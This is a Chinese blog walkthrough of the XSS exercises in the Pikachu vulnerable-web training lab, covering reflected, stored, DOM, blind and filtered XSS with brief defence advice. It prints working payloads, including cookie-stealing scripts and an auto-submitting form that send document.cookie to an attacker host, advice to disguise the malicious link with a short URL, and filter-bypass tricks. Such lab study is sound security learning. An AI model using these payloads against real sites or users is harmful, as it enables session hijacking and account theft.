Pikachu平台XSS篇

390 阅读4分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

1、XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端层叠样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为以下几种常见类型:
1.反射性XSS;
2.存储型XSS;
3.DOM型XSS;
XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;
输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

2、反射型XSS(get)

1、打开网址,发现输入什么,就返回什么,典型的xss漏洞场景

2、进行弹窗测试,发现限制了输入字符的长度,查看源代码,发现是在前端页面做了限制,

修改maxlength=""的值,就可以绕过限制

3、成功执行弹窗代码

<script>alert("XSS")</script>

4、我们将url复制,新建窗口打开,仍然可以弹窗

url:http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E&submit=submit

5、通过弹窗获取cookie

<script>alert(document.cookie)</script>

6、利用反射型xss获取cookie

现在虚拟机中安装pikachu和pikachuXSS后台

攻击者IP:192.168.146.130

靶机:本地

payload:<script>document.location='http://192.168.146.130/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

获取登录者cookie

将整个url作为恶意链接(可以进行伪装,如短网址),诱导用户点击,获取用户cookie(有一定限制)

http://localhost/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.146.130%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit

转换后:http://gz3wt.cn/qkLsk
注:含有localhost会显示转换不成功

转换短网址

7、反射型xss防范

1.对用户的输入进行合理验证(如年龄只能是数字),对特殊字符(如<、>、'、"以及 <script>、javascript 等进行过滤。

2.根据数据将要置于 HTML上 下文中的不同位置(HTML 标签、HTML 属性、JavaScript 脚本、CSS、URL),对所有不可信数据进行恰当的输出编码。

3.设置 HttpOnly 属性,避免攻击者利用跨站脚本漏洞进行 Cookie 劫持攻击。

3、反射型XSS(post)

1、通过测试,发现可以弹窗

2、但是是post提交,没有在url显示,通过bp抓包查看,发现在请求包中有提交的代码

3、并且弹窗脚本被嵌入p标签中并被成功执行

4、搭建一个自己的站点,然后在网站上放一个post表单

将存放post表单的链接发送给用户,用户点击链接后这个post表单会自动向漏洞服务器提交一个post请求,获取用户的cookie,并发送给我们搭建的站点

这里利用pikachu平台自带的post.html,通过修改来达到我们的目的

post.html

<html>
<head>
<script>
window.onload = function() {
  document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://127.0.0.1/pikachu/vul/xss/xsspost/xss_reflected_post.php">   /*存在漏洞的网站*/
    <input id="xssr_in" type="text" name="message" value=
    "<script>
document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; 
	</script>"
	 />   /*接收cookie的网站地址*/
    <input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

<!--
 * 
<script>
document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');
</script>
*/
/*
<script>
document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;
</script>
*/
-->

恶意链接

http://192.168.146.130/pikachu/pkxss/xcookie/post.html

5、在pikachuXSS后台获取到cookie

4、存储型XSS

1、打开页面,发现是留言框,典型的存储型xss可能存在的场景,输入留言,测试特殊字符,发现没有没过滤

2、直接测试弹窗代码,可以正常执行,并且代码被存储在网页源码中,每次访问都会执行

5、DOM型XSS

1、DOM

2、大佬的文章

xss攻击进阶篇

3、输入123,点击提后,会显示what do you see

3、查看网页源码

getElementId:返回带有指定id的

function domxss(){
    var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                  }
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
         

"what do you see?"; 代码的意思为将输入的str拼接到href属性,本来href指向一个url,但是如果将

“#”符号作为某物的href,意味着它不是指向不同的URL,而是指向同一页上的另一个id或name标记,构造测试代码

#' onclick="alert('XSS')"  拼接之后


<a href='#' onclick="alert('XSS')" '>what do you see?</a>

4、提交测试代码,点击 what do you see?执行测试代码,产生弹窗,和反射型xss差不多

6、DOM型xss-x

1、输入相同的payload,发现会多产生一行字,点击第二次显示的字才能执行测试代码

2、查看源代码

函数 domxss
使用window.location.search获取url的赋值值给str,
经过url解码,取出的内容赋值给txss
将txss里的"+"替换为空赋值给xss
第一次点击跳转到domxss()函数
第二次点击执行<a href='"+xss+"'>

3、提交测试代码,点击两次,执行代码

7、XSS之盲打

1、提交留言后没有在页面上显示,但是显示看法已经收到

2、提示后台登录地址,登录后台发现执行了测试代码

测试代码

<script>alert("XSS")</script>

8、XSS之过滤

1、测试过滤了哪些字符

2、发现“<>" " ,”字符没有被过滤,script被过滤了。尝试双写绕过和大小写绕过,发现大小写绕过可以顺利执行代码

3、也可以用image标签绕过

<img src=0 onerror="alert(document.cookie)">

9、XSS之htmlspecialchars

1、什么是htmlspecialchars

2、htmlspecialchars的用法

htmlspecialchars(string,flags,character-set,double_encode)

3、先输入666测试,发现直接是666进行拼接

3、测试哪些字符被转换成html实体,输入'<666>",发现<> "都被转换成html实体(必须输入单引号开头的字符才能被转换,为什么?)

4、通过单引号来构造测试代码

' onclick=alert("XSS")

输入: ' onclick='alert("XSS")' 点击触发xss

输入:' onmouseover='alert("XSS")' 触发xss

输入: ' onmouseover='javascript:alert("XSS")' 触发xss

5、点击显示的测试代码,执行弹窗操作

9、XSS之herf输出

1、查看源代码,当我们输入的内容是www.baidu.com,显示“我靠,我真想不到你是这样的一个人”,当输入的内容不是www.baidu.com时候,对我们的输入转换成html编码,包含转换“'”

2、在 a 标签的href属性中,可以用javascript协议来执行JS,构造Payload,不含被转义的字符

javascript:alert('XSS')

10、XSS之js输出

1、查看源码,如果输入等于tmac,就显示图片

2、输入666,查看源码,搜索‘666’

发现666被擦汗如到中,尝试构造闭合

1、那么可以闭合单引号,注入alert(1),再用//注释掉后面的单引号和分号。

2、也可以 闭合单引号注入alert(1),再自建script标签进行闭合

666';alert("XSS")//
';alert("XSS");</script> //